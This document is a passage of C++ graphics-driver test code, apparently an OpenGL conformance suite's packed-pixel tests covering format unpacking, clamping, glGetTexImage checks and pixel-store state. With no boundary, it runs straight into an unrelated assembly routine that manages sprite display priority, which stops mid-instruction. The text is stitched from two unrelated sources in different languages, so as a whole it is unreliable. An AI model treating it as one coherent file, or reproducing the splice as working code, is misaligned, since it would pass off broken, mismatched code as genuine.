index_dst += copy; if (validate) { for (int i = skipAlign; i < skipRight; i++) { if (orginalBuffer[index_src + i] != m_defaultFillValue) return false; } } index_src += skipRight; } if (validate) { for (int i = 0; i < skipTop; i++) { if (orginalBuffer[index_src + i] != m_defaultFillValue) return false; } } index_src += skipTop; return true; } int RectangleTest::clampSignedValue(int bits, int value) const { int max = 2147483647; int min = 0x80000000; if (bits < 32) { max = (1 << (bits - 1)) - 1; min = (1 << (bits - 1)) - (1 << bits); } if (value >= max) return max; else if (value <= min) return min; return value; } unsigned int RectangleTest::clampUnsignedValue(int bits, unsigned int value) const { unsigned int max = 4294967295u; unsigned int min = 0; if (bits < 32) { max = (1 << bits) - 1; } if (value >= max) return max; else if (value <= min) return min; return value; } float RectangleTest::pack_UNSIGNED_BYTE(GLubyte value) { return static_cast<GLfloat>(value) / std::numeric_limits<GLubyte>::max(); } float RectangleTest::pack_BYTE(GLbyte value) { return deFloatMax(static_cast<GLfloat>(value) / std::numeric_limits<GLbyte>::max(), -1.0f); } float RectangleTest::pack_UNSIGNED_SHORT(GLushort value) { return static_cast<GLfloat>(value) / std::numeric_limits<GLushort>::max(); } float RectangleTest::pack_SHORT(GLshort value) { return deFloatMax(static_cast<GLfloat>(value) / std::numeric_limits<GLshort>::max(), -1.0f); } float RectangleTest::pack_UNSIGNED_INT(GLuint value) { return static_cast<GLfloat>(value) / std::numeric_limits<GLuint>::max(); } float RectangleTest::pack_INT(GLint value) { return deFloatMax(static_cast<GLfloat>(value) / std::numeric_limits<GLint>::max(), -1.0f); } float RectangleTest::pack_HALF_FLOAT(GLhalf value) { return halfFloatToFloat(value); } float RectangleTest::pack_FLOAT(GLfloat value) { return value; } void RectangleTest::pack_UNSIGNED_BYTE_3_3_2(rawFloatPixel* values, GLubyte value) { (*values)[0] = ((value >> 5) & 7) / 7.0f; (*values)[1] = ((value >> 2) & 7) / 7.0f; (*values)[2] = ((value >> 0) & 3) / 3.0f; } void RectangleTest::pack_UNSIGNED_BYTE_3_3_2_UINT(rawUintPixel* values, GLubyte value) { (*values)[0] = (value >> 5) & 7; (*values)[1] = (value >> 2) & 7; (*values)[2] = (value >> 0) & 3; } void RectangleTest::pack_UNSIGNED_BYTE_3_3_2_INT(rawIntPixel* values, GLubyte value) { (*values)[0] = (static_cast<GLbyte>(value) >> 5) & 7; (*values)[1] = (static_cast<GLbyte>(value) >> 2) & 7; (*values)[2] = (static_cast<GLbyte>(value) >> 0) & 3; } void RectangleTest::pack_UNSIGNED_BYTE_2_3_3_REV(rawFloatPixel* values, GLubyte value) { (*values)[2] = ((value >> 6) & 3) / 3.0f; (*values)[1] = ((value >> 3) & 7) / 7.0f; (*values)[0] = ((value >> 0) & 7) / 7.0f; } void RectangleTest::pack_UNSIGNED_BYTE_2_3_3_REV_UINT(rawUintPixel* values, GLubyte value) { (*values)[2] = (value >> 6) & 3; (*values)[1] = (value >> 3) & 7; (*values)[0] = (value >> 0) & 7; } void RectangleTest::pack_UNSIGNED_BYTE_2_3_3_REV_INT(rawIntPixel* values, GLubyte value) { (*values)[2] = (static_cast<GLbyte>(value) >> 6) & 3; (*values)[1] = (static_cast<GLbyte>(value) >> 3) & 7; (*values)[0] = (static_cast<GLbyte>(value) >> 0) & 7; } void RectangleTest::pack_UNSIGNED_SHORT_5_6_5(rawFloatPixel* values, GLushort value) { (*values)[0] = ((value >> 11) & 31) / 31.0f; (*values)[1] = ((value >> 5) & 63) / 63.0f; (*values)[2] = ((value >> 0) & 31) / 31.0f; } void RectangleTest::pack_UNSIGNED_SHORT_5_6_5_UINT(rawUintPixel* values, GLushort value) { (*values)[0] = (value >> 11) & 31; (*values)[1] = (value >> 5) & 63; (*values)[2] = (value >> 0) & 31; } void RectangleTest::pack_UNSIGNED_SHORT_5_6_5_INT(rawIntPixel* values, GLushort value) { (*values)[0] = (static_cast<GLshort>(value) >> 11) & 31; (*values)[1] = (static_cast<GLshort>(value) >> 5) & 63; (*values)[2] = (static_cast<GLshort>(value) >> 0) & 31; } void RectangleTest::pack_UNSIGNED_SHORT_5_6_5_REV(rawFloatPixel* values, GLushort value) { (*values)[2] = ((value >> 11) & 31) / 31.0f; (*values)[1] = ((value >> 5) & 63) / 63.0f; (*values)[0] = ((value >> 0) & 31) / 31.0f; } void RectangleTest::pack_UNSIGNED_SHORT_5_6_5_REV_UINT(rawUintPixel* values, GLushort value) { (*values)[2] = (value >> 11) & 31; (*values)[1] = (value >> 5) & 63; (*values)[0] = (value >> 0) & 31; } void RectangleTest::pack_UNSIGNED_SHORT_5_6_5_REV_INT(rawIntPixel* values, GLushort value) { (*values)[2] = (static_cast<GLshort>(value) >> 11) & 31; (*values)[1] = (static_cast<GLshort>(value) >> 5) & 63; (*values)[0] = (static_cast<GLshort>(value) >> 0) & 31; } void RectangleTest::pack_UNSIGNED_SHORT_4_4_4_4(rawFloatPixel* values, GLushort value) { (*values)[0] = ((value >> 12) & 15) / 15.0f; (*values)[1] = ((value >> 8) & 15) / 15.0f; (*values)[2] = ((value >> 4) & 15) / 15.0f; (*values)[3] = ((value >> 0) & 15) / 15.0f; } void RectangleTest::pack_UNSIGNED_SHORT_4_4_4_4_UINT(rawUintPixel* values, GLushort value) { (*values)[0] = (value >> 12) & 15; (*values)[1] = (value >> 8) & 15; (*values)[2] = (value >> 4) & 15; (*values)[3] = (value >> 0) & 15; } void RectangleTest::pack_UNSIGNED_SHORT_4_4_4_4_INT(rawIntPixel* values, GLushort value) { (*values)[0] = (static_cast<GLshort>(value) >> 12) & 15; (*values)[1] = (static_cast<GLshort>(value) >> 8) & 15; (*values)[2] = (static_cast<GLshort>(value) >> 4) & 15; (*values)[3] = (static_cast<GLshort>(value) >> 0) & 15; } void RectangleTest::pack_UNSIGNED_SHORT_4_4_4_4_REV(rawFloatPixel* values, GLushort value) { (*values)[3] = ((value >> 12) & 15) / 15.0f; (*values)[2] = ((value >> 8) & 15) / 15.0f; (*values)[1] = ((value >> 4) & 15) / 15.0f; (*values)[0] = ((value >> 0) & 15) / 15.0f; } void RectangleTest::pack_UNSIGNED_SHORT_4_4_4_4_REV_UINT(rawUintPixel* values, GLushort value) { (*values)[3] = (value >> 12) & 15; (*values)[2] = (value >> 8) & 15; (*values)[1] = (value >> 4) & 15; (*values)[0] = (value >> 0) & 15; } void RectangleTest::pack_UNSIGNED_SHORT_4_4_4_4_REV_INT(rawIntPixel* values, GLushort value) { (*values)[3] = (static_cast<GLshort>(value) >> 12) & 15; (*values)[2] = (static_cast<GLshort>(value) >> 8) & 15; (*values)[1] = (static_cast<GLshort>(value) >> 4) & 15; (*values)[0] = (static_cast<GLshort>(value) >> 0) & 15; } void RectangleTest::pack_UNSIGNED_SHORT_5_5_5_1(rawFloatPixel* values, GLushort value) { (*values)[0] = ((value >> 11) & 31) / 31.0f; (*values)[1] = ((value >> 6) & 31) / 31.0f; (*values)[2] = ((value >> 1) & 31) / 31.0f; (*values)[3] = ((value >> 0) & 1) / 1.0f; } void RectangleTest::pack_UNSIGNED_SHORT_5_5_5_1_UINT(rawUintPixel* values, GLushort value) { (*values)[0] = (value >> 11) & 31; (*values)[1] = (value >> 6) & 31; (*values)[2] = (value >> 1) & 31; (*values)[3] = (value >> 0) & 1; } void RectangleTest::pack_UNSIGNED_SHORT_5_5_5_1_INT(rawIntPixel* values, GLushort value) { (*values)[0] = (static_cast<GLshort>(value) >> 11) & 31; (*values)[1] = (static_cast<GLshort>(value) >> 6) & 31; (*values)[2] = (static_cast<GLshort>(value) >> 1) & 31; (*values)[3] = (static_cast<GLshort>(value) >> 0) & 1; } void RectangleTest::pack_UNSIGNED_SHORT_1_5_5_5_REV(rawFloatPixel* values, GLushort value) { (*values)[3] = ((value >> 15) & 1) / 1.0f; (*values)[2] = ((value >> 10) & 31) / 31.0f; (*values)[1] = ((value >> 5) & 31) / 31.0f; (*values)[0] = ((value >> 0) & 31) / 31.0f; } void RectangleTest::pack_UNSIGNED_SHORT_1_5_5_5_REV_UINT(rawUintPixel* values, GLushort value) { (*values)[3] = (value >> 15) & 1; (*values)[2] = (value >> 10) & 31; (*values)[1] = (value >> 5) & 31; (*values)[0] = (value >> 0) & 31; } void RectangleTest::pack_UNSIGNED_SHORT_1_5_5_5_REV_INT(rawIntPixel* values, GLushort value) { (*values)[3] = (static_cast<GLshort>(value) >> 15) & 1; (*values)[2] = (static_cast<GLshort>(value) >> 10) & 31; (*values)[1] = (static_cast<GLshort>(value) >> 5) & 31; (*values)[0] = (static_cast<GLshort>(value) >> 0) & 31; } void RectangleTest::pack_UNSIGNED_INT_8_8_8_8(rawFloatPixel* values, GLuint value) { (*values)[0] = ((value >> 24) & 255) / 255.0f; (*values)[1] = ((value >> 16) & 255) / 255.0f; (*values)[2] = ((value >> 8) & 255) / 255.0f; (*values)[3] = ((value >> 0) & 255) / 255.0f; } void RectangleTest::pack_UNSIGNED_INT_8_8_8_8_UINT(rawUintPixel* values, GLuint value) { (*values)[0] = (value >> 24) & 255; (*values)[1] = (value >> 16) & 255; (*values)[2] = (value >> 8) & 255; (*values)[3] = (value >> 0) & 255; } void RectangleTest::pack_UNSIGNED_INT_8_8_8_8_INT(rawIntPixel* values, GLuint value) { (*values)[0] = (static_cast<GLint>(value) >> 24) & 255; (*values)[1] = (static_cast<GLint>(value) >> 16) & 255; (*values)[2] = (static_cast<GLint>(value) >> 8) & 255; (*values)[3] = (static_cast<GLint>(value) >> 0) & 255; } void RectangleTest::pack_UNSIGNED_INT_8_8_8_8_REV(rawFloatPixel* values, GLuint value) { (*values)[3] = ((value >> 24) & 255) / 255.0f; (*values)[2] = ((value >> 16) & 255) / 255.0f; (*values)[1] = ((value >> 8) & 255) / 255.0f; (*values)[0] = ((value >> 0) & 255) / 255.0f; } void RectangleTest::pack_UNSIGNED_INT_8_8_8_8_REV_UINT(rawUintPixel* values, GLuint value) { (*values)[3] = (value >> 24) & 255; (*values)[2] = (value >> 16) & 255; (*values)[1] = (value >> 8) & 255; (*values)[0] = (value >> 0) & 255; } void RectangleTest::pack_UNSIGNED_INT_8_8_8_8_REV_INT(rawIntPixel* values, GLuint value) { (*values)[3] = (static_cast<GLint>(value) >> 24) & 255; (*values)[2] = (static_cast<GLint>(value) >> 16) & 255; (*values)[1] = (static_cast<GLint>(value) >> 8) & 255; (*values)[0] = (static_cast<GLint>(value) >> 0) & 255; } void RectangleTest::pack_UNSIGNED_INT_10_10_10_2(rawFloatPixel* values, GLuint value) { (*values)[0] = ((value >> 22) & 1023) / 1023.0f; (*values)[1] = ((value >> 12) & 1023) / 1023.0f; (*values)[2] = ((value >> 2) & 1023) / 1023.0f; (*values)[3] = ((value >> 0) & 3) / 3.0f; } void RectangleTest::pack_UNSIGNED_INT_10_10_10_2_UINT(rawUintPixel* values, GLuint value) { (*values)[0] = ((value >> 22) & 1023); (*values)[1] = ((value >> 12) & 1023); (*values)[2] = ((value >> 2) & 1023); (*values)[3] = ((value >> 0) & 3); } void RectangleTest::pack_UNSIGNED_INT_10_10_10_2_INT(rawIntPixel* values, GLuint value) { (*values)[0] = ((static_cast<GLint>(value) >> 22) & 1023); (*values)[1] = ((static_cast<GLint>(value) >> 12) & 1023); (*values)[2] = ((static_cast<GLint>(value) >> 2) & 1023); (*values)[3] = ((static_cast<GLint>(value) >> 0) & 3); } void RectangleTest::pack_UNSIGNED_INT_2_10_10_10_REV(rawFloatPixel* values, GLuint value) { (*values)[3] = ((value >> 30) & 3) / 3.0f; (*values)[2] = ((value >> 20) & 1023) / 1023.0f; (*values)[1] = ((value >> 10) & 1023) / 1023.0f; (*values)[0] = ((value >> 0) & 1023) / 1023.0f; } void RectangleTest::pack_UNSIGNED_INT_2_10_10_10_REV_UINT(rawUintPixel* values, GLuint value) { (*values)[3] = (value >> 30) & 3; (*values)[2] = (value >> 20) & 1023; (*values)[1] = (value >> 10) & 1023; (*values)[0] = (value >> 0) & 1023; } void RectangleTest::pack_UNSIGNED_INT_2_10_10_10_REV_INT(rawIntPixel* values, GLuint value) { (*values)[3] = (static_cast<GLint>(value) >> 30) & 3; (*values)[2] = (static_cast<GLint>(value) >> 20) & 1023; (*values)[1] = (static_cast<GLint>(value) >> 10) & 1023; (*values)[0] = (static_cast<GLint>(value) >> 0) & 1023; } void RectangleTest::pack_UNSIGNED_INT_24_8(rawFloatPixel* values, GLuint value) { (*values)[0] = ((value >> 8) & 16777215) / 16777215.0f; (*values)[1] = ((value >> 0) & 255) / 255.0f; } void RectangleTest::pack_UNSIGNED_INT_10F_11F_11F_REV(rawFloatPixel* values, GLuint value) { (*values)[2] = unsignedF10ToFloat((value >> 22) & 1023); (*values)[1] = unsignedF11ToFloat((value >> 11) & 2047); (*values)[0] = unsignedF11ToFloat((value >> 0) & 2047); } void RectangleTest::pack_UNSIGNED_INT_5_9_9_9_REV(rawFloatPixel* values, GLuint value) { const int B = 15; const int N = 9; GLint pExp = ((value >> 27) & 31); GLuint pBlue = ((value >> 18) & 511); GLuint pGreen = ((value >> 9) & 511); GLuint pRed = ((value >> 0) & 511); (*values)[2] = (float)(pBlue * pow(2.0, pExp - B - N)); (*values)[1] = (float)(pGreen * pow(2.0, pExp - B - N)); (*values)[0] = (float)(pRed * pow(2.0, pExp - B - N)); (*values)[3] = 1.0f; } void RectangleTest::pack_FLOAT_32_UNSIGNED_INT_24_8_REV(rawFloatPixel* values, F_32_UINT_24_8_REV value) { (*values)[0] = value.d; (*values)[1] = (value.s & 255) / 255.0f; } bool RectangleTest::getTexImage() { // for each output format for (int m = 0; m < DE_LENGTH_OF_ARRAY(coreFormats); ++m) { const PixelFormat& outputFormat = coreFormats[m]; // for each output type for (int n = 0; n < DE_LENGTH_OF_ARRAY(coreTypes); ++n) { const PixelType& outputType = coreTypes[n]; if ((m_inputFormat.format != m_internalFormat.format || m_inputType.type != m_internalFormat.type) && (outputFormat.format != m_internalFormat.format || outputType.type != m_internalFormat.type)) { continue; } if (!getTexImageInner(outputFormat, outputType)) return false; } } return true; } bool RectangleTest::getTexImageInner(const PixelFormat& outputFormat, const PixelType& outputType) { bool outputFormatValid = isFormatValid(outputFormat, outputType, m_internalFormat, false, true, OUTPUT_GETTEXIMAGE); GLenum error = readOutputData(outputFormat, outputType, OUTPUT_GETTEXIMAGE); m_countGetTexImage++; if (!outputFormatValid) { if (error) { m_countGetTexImageOK++; return true; } m_testCtx.getLog() << tcu::TestLog::Message << "Expected error but got no GL error" << tcu::TestLog::EndMessage; return false; } else if (error) { m_testCtx.getLog() << tcu::TestLog::Message << "Error during glGetTexImage" << tcu::TestLog::EndMessage; return false; } m_countGetTexImageOK++; m_countCompare++; // compare output gradient to input gradient if (compare(&m_gradient[0], &m_outputBuffer[0], outputFormat, outputType, false)) { m_countCompareOK++; return true; } m_testCtx.getLog() << tcu::TestLog::Message << "Gradient comparison failed during GetTexImage for input = [" << getFormatStr(m_inputFormat.format) << ", " << getTypeStr(m_inputType.type) << "] output = [" << getFormatStr(outputFormat.format) << ", " << getTypeStr(outputType.type) << "]" << tcu::TestLog::EndMessage; return false; } void RectangleTest::testAllFormatsAndTypes() { DE_ASSERT((m_textureTarget == GL_TEXTURE_2D) || (m_textureTarget == GL_TEXTURE_3D)); glu::RenderContext& renderContext = m_context.getRenderContext(); const Functions& gl = renderContext.getFunctions(); bool result = true; gl.clear(GL_COLOR_BUFFER_BIT); const PixelType* types; int typesCount; const PixelFormat* formats; int formatsCount; if (glu::isContextTypeES(m_context.getRenderContext().getType())) { types = esTypes; typesCount = DE_LENGTH_OF_ARRAY(esTypes); formats = esFormats; formatsCount = DE_LENGTH_OF_ARRAY(esFormats); } else { types = coreTypes; typesCount = DE_LENGTH_OF_ARRAY(coreTypes); formats = coreFormats; formatsCount = DE_LENGTH_OF_ARRAY(coreFormats); } for (int inputFormatIndex = 0; inputFormatIndex < formatsCount; inputFormatIndex++) { m_inputFormat = formats[inputFormatIndex]; for (int inputTypeIndex = 0; inputTypeIndex < typesCount; inputTypeIndex++) { GLenum error = 0; m_inputType = types[inputTypeIndex]; applyInitialStorageModes(); // Create input gradient in format,type, with appropriate range createGradient(); if (m_gradient.empty()) TCU_FAIL("Could not create gradient."); if (m_unpackProperties.swapBytes) swapBytes(m_inputType.size, m_gradient); GLuint texture; gl.genTextures(1, &texture); gl.bindTexture(m_textureTarget, texture); GLU_EXPECT_NO_ERROR(gl.getError(), "glBindTexture"); if (m_textureTarget == GL_TEXTURE_3D) { gl.texImage3D(GL_TEXTURE_3D, 0, m_internalFormat.sizedFormat, GRADIENT_WIDTH, GRADIENT_HEIGHT, 1, 0, m_inputFormat.format, m_inputType.type, &m_gradient[0]); } else { gl.texImage2D(GL_TEXTURE_2D, 0, m_internalFormat.sizedFormat, GRADIENT_WIDTH, GRADIENT_HEIGHT, 0, m_inputFormat.format, m_inputType.type, &m_gradient[0]); } if (m_unpackProperties.swapBytes) swapBytes(m_inputType.size, m_gradient); error = gl.getError(); if (isFormatValid(m_inputFormat, m_inputType, m_internalFormat, true, false, INPUT_TEXIMAGE)) { if (error == GL_NO_ERROR) { if (!glu::isContextTypeES(renderContext.getType())) result &= getTexImage(); result &= doRead(texture); } else { m_testCtx.getLog() << tcu::TestLog::Message << "Valid format used but glTexImage2D/3D failed" << tcu::TestLog::EndMessage; result = false; } } else if (error == GL_NO_ERROR) { m_testCtx.getLog() << tcu::TestLog::Message << "Invalid format used but glTexImage2D/3D succeeded" << tcu::TestLog::EndMessage; result = false; } gl.deleteTextures(1, &texture); } } if (result) m_testCtx.setTestResult(QP_TEST_RESULT_PASS, "Pass"); else m_testCtx.setTestResult(QP_TEST_RESULT_FAIL, "Fail"); } tcu::TestNode::IterateResult RectangleTest::iterate(void) { resetInitialStorageModes(); testAllFormatsAndTypes(); return STOP; } class InitialValuesTest : public deqp::TestCase { public: InitialValuesTest(deqp::Context& context); virtual ~InitialValuesTest(); tcu::TestNode::IterateResult iterate(void); }; InitialValuesTest::InitialValuesTest(deqp::Context& context) : deqp::TestCase(context, "initial_values", "Verify if all UNPACK and PACK initial " "state matches the values in table 6.28 (6.23, in ES.)") { } InitialValuesTest::~InitialValuesTest() { } tcu::TestNode::IterateResult InitialValuesTest::iterate(void) { glu::RenderContext& renderContext = m_context.getRenderContext(); const Functions& gl = renderContext.getFunctions(); bool result = true; GLenum commonIntModes[] = { GL_UNPACK_ROW_LENGTH, GL_UNPACK_SKIP_ROWS, GL_UNPACK_SKIP_PIXELS, GL_UNPACK_IMAGE_HEIGHT, GL_UNPACK_SKIP_IMAGES, GL_PACK_ROW_LENGTH, GL_PACK_SKIP_ROWS, GL_PACK_SKIP_PIXELS }; // check if following eight storage modes are 0 GLint i = 1; for (int mode = 0; mode < DE_LENGTH_OF_ARRAY(commonIntModes); mode++) { gl.getIntegerv(commonIntModes[mode], &i); result &= (i == 0); } // check if following two storage modes are 4 gl.getIntegerv(GL_UNPACK_ALIGNMENT, &i); result &= (i == 4); gl.getIntegerv(GL_PACK_ALIGNMENT, &i); result &= (i == 4); // check storage modes available only in core GL if (!glu::isContextTypeES(renderContext.getType())) { // check if following four boolean modes are false GLboolean b = true; gl.getBooleanv(GL_UNPACK_SWAP_BYTES, &b); result &= (b == false); gl.getBooleanv(GL_UNPACK_LSB_FIRST, &b); result &= (b == false); gl.getBooleanv(GL_PACK_SWAP_BYTES, &b); result &= (b == false); gl.getBooleanv(GL_PACK_LSB_FIRST, &b); result &= (b == false); // check if following two modes are 0 gl.getIntegerv(GL_PACK_IMAGE_HEIGHT, &i); result &= (i == 0); gl.getIntegerv(GL_PACK_SKIP_IMAGES, &i); result &= (i == 0); } // make sure that no pack/unpack buffers are bound gl.getIntegerv(GL_PIXEL_PACK_BUFFER_BINDING, &i); result &= (i == 0); gl.getIntegerv(GL_PIXEL_UNPACK_BUFFER_BINDING, &i); result &= (i == 0); if (result) m_testCtx.setTestResult(QP_TEST_RESULT_PASS, "Pass"); else m_testCtx.setTestResult(QP_TEST_RESULT_FAIL, "Fail"); return STOP; } class PBORectangleTest : public RectangleTest { public: PBORectangleTest(deqp::Context& context, std::string& name, InternalFormat internalFormat); virtual ~PBORectangleTest(); }; PBORectangleTest::PBORectangleTest(deqp::Context& context, std::string& name, InternalFormat internalFormat) : RectangleTest(context, name, internalFormat) { m_usePBO = true; } PBORectangleTest::~PBORectangleTest() { } class VariedRectangleTest : public RectangleTest { public: VariedRectangleTest(deqp::Context& context, std::string& name, InternalFormat internalFormat); virtual ~VariedRectangleTest(); tcu::TestNode::IterateResult iterate(void); protected: struct StoreMode { GLenum parameter; GLint* property; GLint value; }; }; VariedRectangleTest::VariedRectangleTest(deqp::Context& context, std::string& name, InternalFormat internalFormat) : RectangleTest(context, name, internalFormat) { } VariedRectangleTest::~VariedRectangleTest() { } tcu::TestNode::IterateResult VariedRectangleTest::iterate(void) { const int IMAGE_WIDTH_1 = 10; const int IMAGE_WIDTH_2 = 15; const int IMAGE_HEIGHT_1 = 10; const int IMAGE_HEIGHT_2 = 15; PackedPixelsBufferProperties& up = m_initialUnpackProperties; PackedPixelsBufferProperties& pp = m_initialPackProperties; StoreMode commonCases[] = { { GL_UNPACK_ROW_LENGTH, &up.rowLength, 0 }, { GL_UNPACK_ROW_LENGTH, &up.rowLength, IMAGE_WIDTH_1 }, { GL_UNPACK_ROW_LENGTH, &up.rowLength, IMAGE_WIDTH_2 }, { GL_UNPACK_SKIP_ROWS, &up.skipRows, 0 }, { GL_UNPACK_SKIP_ROWS, &up.skipRows, 1 }, { GL_UNPACK_SKIP_ROWS, &up.skipRows, 2 }, { GL_UNPACK_SKIP_PIXELS, &up.skipPixels, 0 }, { GL_UNPACK_SKIP_PIXELS, &up.skipPixels, 1 }, { GL_UNPACK_SKIP_PIXELS, &up.skipPixels, 2 }, { GL_UNPACK_ALIGNMENT, &up.alignment, 1 }, { GL_UNPACK_ALIGNMENT, &up.alignment, 2 }, { GL_UNPACK_ALIGNMENT, &up.alignment, 4 }, { GL_UNPACK_ALIGNMENT, &up.alignment, 8 }, { GL_UNPACK_IMAGE_HEIGHT, &up.rowCount, 0 }, { GL_UNPACK_IMAGE_HEIGHT, &up.rowCount, IMAGE_HEIGHT_1 }, { GL_UNPACK_IMAGE_HEIGHT, &up.rowCount, IMAGE_HEIGHT_2 }, { GL_UNPACK_SKIP_IMAGES, &up.skipImages, 0 }, { GL_UNPACK_SKIP_IMAGES, &up.skipImages, 1 }, { GL_UNPACK_SKIP_IMAGES, &up.skipImages, 2 }, { GL_PACK_ROW_LENGTH, &pp.rowLength, 0 }, { GL_PACK_ROW_LENGTH, &pp.rowLength, IMAGE_WIDTH_1 }, { GL_PACK_ROW_LENGTH, &pp.rowLength, IMAGE_WIDTH_2 }, { GL_PACK_SKIP_ROWS, &pp.skipRows, 0 }, { GL_PACK_SKIP_ROWS, &pp.skipRows, 1 }, { GL_PACK_SKIP_ROWS, &pp.skipRows, 2 }, { GL_PACK_SKIP_PIXELS, &pp.skipPixels, 0 }, { GL_PACK_SKIP_PIXELS, &pp.skipPixels, 1 }, { GL_PACK_SKIP_PIXELS, &pp.skipPixels, 2 }, { GL_PACK_ALIGNMENT, &pp.alignment, 1 }, { GL_PACK_ALIGNMENT, &pp.alignment, 2 }, { GL_PACK_ALIGNMENT, &pp.alignment, 4 }, { GL_PACK_ALIGNMENT, &pp.alignment, 8 }, }; StoreMode coreCases[] = { { GL_UNPACK_SWAP_BYTES, &up.swapBytes, GL_FALSE }, { GL_UNPACK_SWAP_BYTES, &up.swapBytes, GL_TRUE }, { GL_UNPACK_LSB_FIRST, &up.lsbFirst, GL_FALSE }, { GL_UNPACK_LSB_FIRST, &up.lsbFirst, GL_TRUE }, { GL_PACK_SWAP_BYTES, &pp.swapBytes, GL_FALSE }, { GL_PACK_SWAP_BYTES, &pp.swapBytes, GL_TRUE }, { GL_PACK_LSB_FIRST, &pp.lsbFirst, GL_FALSE }, { GL_PACK_LSB_FIRST, &pp.lsbFirst, GL_TRUE }, { GL_PACK_IMAGE_HEIGHT, &pp.rowCount, 0 }, { GL_PACK_IMAGE_HEIGHT, &pp.rowCount, IMAGE_HEIGHT_1 }, { GL_PACK_IMAGE_HEIGHT, &pp.rowCount, IMAGE_HEIGHT_2 }, { GL_PACK_SKIP_IMAGES, &pp.skipImages, 0 }, { GL_PACK_SKIP_IMAGES, &pp.skipImages, 1 }, { GL_PACK_SKIP_IMAGES, &pp.skipImages, 2 }, }; std::vector<StoreMode> testModes(commonCases, commonCases + DE_LENGTH_OF_ARRAY(commonCases)); glu::RenderContext& renderContext = m_context.getRenderContext(); bool contextTypeIsCoreGL = !glu::isContextTypeES(renderContext.getType()); if (contextTypeIsCoreGL) testModes.insert(testModes.end(), coreCases, coreCases + DE_LENGTH_OF_ARRAY(coreCases)); std::vector<StoreMode>::iterator currentCase = testModes.begin(); while (currentCase != testModes.end()) { resetInitialStorageModes(); GLenum parameter = currentCase->parameter; GLint value = currentCase->value; *(currentCase->property) = value; // for some parameters an additional parameter needs to be set if (parameter == GL_PACK_SKIP_ROWS) { if (contextTypeIsCoreGL) m_initialPackProperties.rowCount = GRADIENT_HEIGHT + value; } else if (parameter == GL_PACK_SKIP_PIXELS) m_initialPackProperties.rowLength = GRADIENT_WIDTH + value; else if (parameter == GL_UNPACK_SKIP_ROWS) m_initialUnpackProperties.rowCount = GRADIENT_HEIGHT + value; else if (parameter == GL_UNPACK_SKIP_PIXELS) m_initialUnpackProperties.rowLength = GRADIENT_WIDTH + value; m_textureTarget = GL_TEXTURE_2D; if ((parameter == GL_PACK_IMAGE_HEIGHT) || (parameter == GL_PACK_SKIP_IMAGES) || (parameter == GL_UNPACK_IMAGE_HEIGHT) || (parameter == GL_UNPACK_SKIP_IMAGES)) m_textureTarget = GL_TEXTURE_3D; testAllFormatsAndTypes(); if (m_testCtx.getTestResult() != QP_TEST_RESULT_PASS) { m_testCtx.getLog() << tcu::TestLog::Message << "Case for: " << glu::getGettableStateStr(parameter).toString() << " = " << value << " failed." << tcu::TestLog::EndMessage; return STOP; } ++currentCase; } return STOP; } PackedPixelsTests::PackedPixelsTests(deqp::Context& context) : TestCaseGroup(context, "packed_pixels", "") { } PackedPixelsTests::~PackedPixelsTests(void) { #ifdef LOG_PACKED_PIXELS_STATISTICS m_testCtx.getLog() << tcu::TestLog::Message << "PackedPixelsTests statistics:" << "\n countReadPixels: " << RectangleTest::m_countReadPixels << "\n countReadPixelsOK: " << RectangleTest::m_countReadPixelsOK << "\n countGetTexImage: " << RectangleTest::m_countGetTexImage << "\n countGetTexImageOK: " << RectangleTest::m_countGetTexImageOK << "\n countCompare: " << RectangleTest::m_countCompare << "\n countCompareOK: " << RectangleTest::m_countCompareOK << tcu::TestLog::EndMessage; #endif } void PackedPixelsTests::init(void) { const InternalFormat* internalFormats; unsigned int internalFormatsCount; if (glu::isContextTypeES(m_context.getRenderContext().getType())) { internalFormats = esInternalformats; internalFormatsCount = DE_LENGTH_OF_ARRAY(esInternalformats); } else { internalFormats = coreInternalformats; internalFormatsCount = DE_LENGTH_OF_ARRAY(coreInternalformats); } TestCaseGroup* rectangleGroup = new deqp::TestCaseGroup(m_context, "rectangle", ""); rectangleGroup->addChild(new InitialValuesTest(m_context)); TestCaseGroup* pboRectangleGroup = new deqp::TestCaseGroup(m_context, "pbo_rectangle", ""); TestCaseGroup* variedRectangleGroup = new deqp::TestCaseGroup(m_context, "varied_rectangle", ""); for (unsigned int internalFormatIndex = 0; internalFormatIndex < internalFormatsCount; internalFormatIndex++) { const InternalFormat& internalFormat = internalFormats[internalFormatIndex]; std::string internalFormatString = getFormatStr(internalFormat.sizedFormat); std::string name = internalFormatString.substr(3); std::transform(name.begin(), name.end(), name.begin(), tolower); rectangleGroup->addChild(new RectangleTest(m_context, name, internalFormat)); pboRectangleGroup->addChild(new PBORectangleTest(m_context, name, internalFormat)); variedRectangleGroup->addChild(new VariedRectangleTest(m_context, name, internalFormat)); } addChild(rectangleGroup); addChild(pboRectangleGroup); addChild(variedRectangleGroup); } } /* glcts namespace */
* --------------------------------------------------------------------------- * DisplaySprite * ------------- * Subroutine to manage sprite priority. * Object's priority is read and object is (un)registred in display engine. * priority: 0 - unregistred * priority: 1 - register non moving overlay sprite * priority; 2-8 - register moving sprite (2:front, ..., 8:back) * * Unlike original S2 code, sprite priority is stored in an open doubly linked list * it allows to keep an exact sprite order for each screen buffer * * DisplaySprite * input REG : [u] object pointer (OST) * * DisplaySprite_x * input REG : [x] object pointer (OST) * --------------------------------------------------------------------------- DisplaySprite_x pshs d,x,u tfr x,u bra DSP_Start DisplaySprite pshs d,x,u DSP_Start lda render_flags,u anda #^render_hide_mask ; unset hide flag sta render_flags,u lda glb_Cur_Wrk_Screen_Id ; read current screen buffer for write operations bne DSP_SetBuffer1 DSP_SetBuffer0 leax rsv_buffer_0,u ; set x pointer to object variables that belongs to screen buffer 0 ldy #DPS_buffer_0 ; set y pointer to Display Priority Structure that belongs to screen buffer 0 bra DSP_BufferPositionned DSP_SetBuffer1 leax rsv_buffer_1,u ; set x pointer to object variables that belongs to screen buffer 1 ldy #DPS_buffer_1 ; set y pointer to Display Priority Structure that belongs to screen buffer 1 DSP_BufferPositionned lda priority,u ; read priority set for this object cmpa buf_priority,x beq DSP_rts ; priority and current priority are the same: nothing to do ldb buf_priority,x bne DSP_ChangePriority DSP_InitPriority sta buf_priority,x ; init priority for this screen buffer with priority from object DSP_CheckLastEntry leay buf_Tbl_Priority_Last_Entry,y asla ; change priority number to priority index (value x2) tst a,y ; test left byte only is ok, no object will be stored at $00__ address bne DSP_addToExistingNode ; not the first object at this priority level, branch DSP_addFirstNode stu a,y ; save object as last entry in linked list leay buf_Tbl_Priority_First_Entry-buf_Tbl_Priority_Last_Entry,y stu a,y ; save object as first entry in linked list ldd 